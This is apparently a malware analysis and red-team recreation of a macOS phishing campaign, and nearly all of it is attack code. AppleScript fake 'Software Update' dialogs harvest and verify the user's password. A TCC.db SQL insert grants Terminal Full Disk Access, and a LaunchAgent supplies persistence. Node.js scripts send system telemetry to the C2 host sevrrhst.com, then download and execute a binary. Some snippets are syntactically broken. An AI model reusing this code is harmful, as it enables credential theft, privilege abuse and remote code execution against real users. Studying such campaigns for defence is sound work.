macOS Token Vesting钓鱼攻击分析

display dialog "macOS 需要您的权限来修复 Office 文档显示问题。" & return & return & "请输入密码以允许此操作。" default answer "" with title "软件更新" with icon stop buttons {"取消", "好"} default button "好" with hidden answer

set fakePassword to text returned of result
display notification "用户输入的密码是: " & fakePassword with title “qwq"

set maxAttempts to 3
set attemptCount to 0
set processName to "Software Update"

repeat while attemptCount < maxAttempts
	try
		display dialog "macOS 需要您的密码以应用关键安全性更新。" & return & return & "请输入您的用户密码以继续：" default answer "" with title processName with icon note buttons {"取消", "安装更新"} default button "安装更新" with hidden answer
		
		set userPassword to text returned of result
		
		set userName to (do shell script "whoami")
		
		try
			do shell script "dscl /Local/Default -authonly " & userName & " " & quoted form of userPassword
			
			display notification "捕获到正确密码: " & userPassword with title "qwq"
			return
			
		on error
			display dialog "密码不正确，请重试。" with title processName with icon stop buttons {"好"} default button "好"
			set attemptCount to attemptCount + 1
		end try
		
	on error
		return
	end try
end repeat

-- =========================================================
-- macOS Red Team Attack Chain Recreation
-- Based on: Token Vesting Phishing Campaign
-- Logic: Initial Access -> Credential Harvesting -> TCC Bypass -> Persistence
-- =========================================================

-- === Phase 1: Environmental Variables ===
set maxAttempts to 3
set attemptCount to 0
set processName to "Software Update" -- Masquerading as system process
set tccDBPath to "~/Library/Application Support/com.apple.TCC/TCC.db"
set backupPath to "~/Library/Application Support/com.apple.TCC.backup"

-- === Phase 2: Credential Harvesting (Fake Prompt + Local Auth) ===
repeat while attemptCount < maxAttempts
    try
        -- 2.1 Fake System Dialog (Visual Deception)
        display dialog "macOS 需要您的密码以应用关键安全性更新。" & return & return & "请输入您的用户密码以继续：" default answer "" with title processName with icon note buttons {"取消", "安装更新"} default button "安装更新" with hidden answer
        
        set userPassword to text returned of result
        set userName to (do shell script "whoami")
        
        -- 2.2 Local Verification (Living off the Land)
        try
            do shell script "dscl /Local/Default -authonly " & userName & " " & quoted form of userPassword
            
            -- If we are here, password is correct. Proceed to exploit.
            my executeAttackChain(userName, userPassword)
            return
            
        on error
            display dialog "密码不正确，请重试。" with title processName with icon stop buttons {"好"} default button "好"
            set attemptCount to attemptCount + 1
        end try
        
    on error
        return
    end try
end repeat

-- === Phase 3 & 4: TCC Bypass & Persistence (Weaponization) ===
on executeAttackChain(targetUser, targetPass)
    
    -- 3.1 Constructing the TCC Bypass Payload
    -- The CSREQ blob below is for 'com.apple.Terminal' (The hex string)
    set csreqBlob to "X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003'"
    
    -- The SQL Injection command to grant Full Disk Access
    set sqlInjection to "INSERT OR REPLACE INTO access (service, client, client_type, auth_value, auth_reason, auth_version, csreq, flags) VALUES ('kTCCServiceSystemPolicyAllFiles', 'com.apple.Terminal', 0, 2, 1, 1, " & csreqBlob & ", 0);"
    
    -- 3.2 Simulating the Directory Spoofing Logic (The "Magic" Trick)
    set attackLog to "【攻击链执行报告】" & return & return & ¬
        "1. 凭据捕获: 成功 (用户: " & targetUser & ")" & return & ¬
        "2. 目录欺骗 (Directory Spoofing):" & return & ¬
        "   mv " & tccDBPath & " " & backupPath & return & ¬
        "   mkdir " & tccDBPath & return & ¬
        "   cp " & backupPath & "/TCC.db " & tccDBPath & return & ¬
        "3. SQL 注入 (TCC.db):" & return & ¬
        "   " & sqlInjection & return & ¬
        "4. 强制生效:" & return & ¬
        "   killall tccd"
        
    display dialog attackLog with title "Phase 3: TCC Bypass Simulation" with icon caution buttons {"继续 (模拟持久化)", "停止"} default button "继续 (模拟持久化)"
    
    if button returned of result is "继续 (模拟持久化)" then
        
        -- 4.1 Simulating Persistence (Launch Agent)
        set plistContent to "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\"...>
<key>ProgramArguments</key>
<array>
    <string>/Users/Shared/.hidden/node</string>
    <string>/Users/Shared/.hidden/index.js</string>
</array>
<key>RunAtLoad</key><true/>"
        
        display dialog "正在写入自启动配置文件..." & return & return & "~/Library/LaunchAgents/com.service.update.plist" & return & return & "Payload 内容预览:" & return & plistContent with title "Phase 4: Persistence" buttons {"完成复现"}
    end if
    
end executeAttackChain

codesign -d -r- /System/Applications/Utilities/Terminal.app 2>&1 | awk -F ' => ' /designated/{print $2}' | csreq -r- -b /tmp/req.bin

xxd -p /tmp/req.bin | tr -d '\n' | tr 'a-z' 'A-Z'

#!/bin/bash
WORK_DIR="$HOME/.nodes"
ARCHIVE_PATH="/tmp/origin" 
TARGET_ZIP="/tmp/env_arm.zip"

CPU_ARCH=$(uname -m)
if; then
    exit 1
fi

mv "$ARCHIVE_PATH" "$TARGET_ZIP"

mkdir -p "$WORK_DIR"

unzip -q "$TARGET_ZIP" -d "$WORK_DIR"

chmod +x "$WORK_DIR/node"

rm -f "$TARGET_ZIP"

const os = require('os');
const child_process = require('child_process');
const https = require('https');
const crypto = require('crypto');


function gatherSystemTelemetry() {
    let processList =;
    try {

        const psOutput = child_process.execSync('ps -axo pid,comm', { encoding: 'utf-8' });
        processList = psOutput.split('\n').filter(line => line.length > 0);
    } catch (e) {
        processList = ["Error: Process enumeration failed"];
    }

    const telemetry = {
        identifier: generateMachineID(), 
        platform: os.platform(),        
        os_version: os.release(),
        architecture: os.arch(),
        cpu_model: os.cpus().model,
        cpu_cores: os.cpus().length,
        memory_total: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + " GB",
        network_interfaces: parseNetworkInterfaces(os.networkInterfaces()),
        running_processes: processList, 
        timestamp: new Date().toISOString()
    };

    return telemetry;
}


function parseNetworkInterfaces(interfaces) {
    const netInfo = {};
    for (const [name, data] of Object.entries(interfaces)) {
        netInfo[name] = data.map(info => ({
            family: info.family,
            address: info.address,
            mac: info.mac
        }));
    }
    return netInfo;
}


function generateMachineID() {
    const interfaces = os.networkInterfaces();
    let macStr = '';
    for (const key in interfaces) {
        if (interfaces[key] && interfaces[key].mac!== '00:00:00:00:00:00') {
            macStr += interfaces[key].mac;
        }
    }

    return crypto.createHash('sha256').update(macStr).digest('hex').substring(0, 16);
}


function registerWithC2() {
    const payloadObject = gatherSystemTelemetry();
    const jsonString = JSON.stringify(payloadObject);
    
    const base64Payload = Buffer.from(jsonString).toString('base64');
    const postData = `data=${encodeURIComponent(base64Payload)}`;

    const options = {
        hostname: 'sevrrhst.com',
        port: 443,
        path: '/inc/register.php?req=init', 
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
            'Content-Length': Buffer.byteLength(postData),
            'X-Bot-ID': payloadObject.identifier 
        }
    };

    const req = https.request(options, (res) => {
        let responseBody = '';
        res.on('data', (chunk) => { responseBody += chunk; });
        res.on('end', () => {
            if (res.statusCode === 200 && responseBody.length > 0) {
                executeDynamicPayload(responseBody);
            }
        });
    });

    req.on('error', (e) => {
        console.error(`Problem with C2 communication: ${e.message}`);
    });

    req.write(postData);
    req.end();
}

registerWithC2();

const fs = require('fs');
const https = require('https');
const child_process = require('child_process');
const path = require('path');
const os = require('os');

const BINARY_PAYLOAD_URL = 'https://sevrrhst.com/inc/register.php?req=next';

https.get(BINARY_PAYLOAD_URL, (res) => {
    let base64Stream = '';
    
    res.on('data', (chunk) => {
        base64Stream += chunk;
    });

    res.on('end', () => {
        if (base64Stream.length > 0) {
            try {
                const binaryBuffer = Buffer.from(base64Stream, 'base64');
                
                const executablePath = path.join(os.homedir(), '.nodes', 'node_addon');
                
                fs.writeFileSync(executablePath, binaryBuffer);

                fs.chmodSync(executablePath, '755');
                

                child_process.exec(`${executablePath} > /dev/null 2>&1 &`, (error) => {
                    if (error) {
                        console.error(`Native addon execution encountered an issue: ${error.message}`);
                    }
                });
                
            } catch (err) {
                console.error("Failed to process the native binary payload.");
            }
        }
    });
});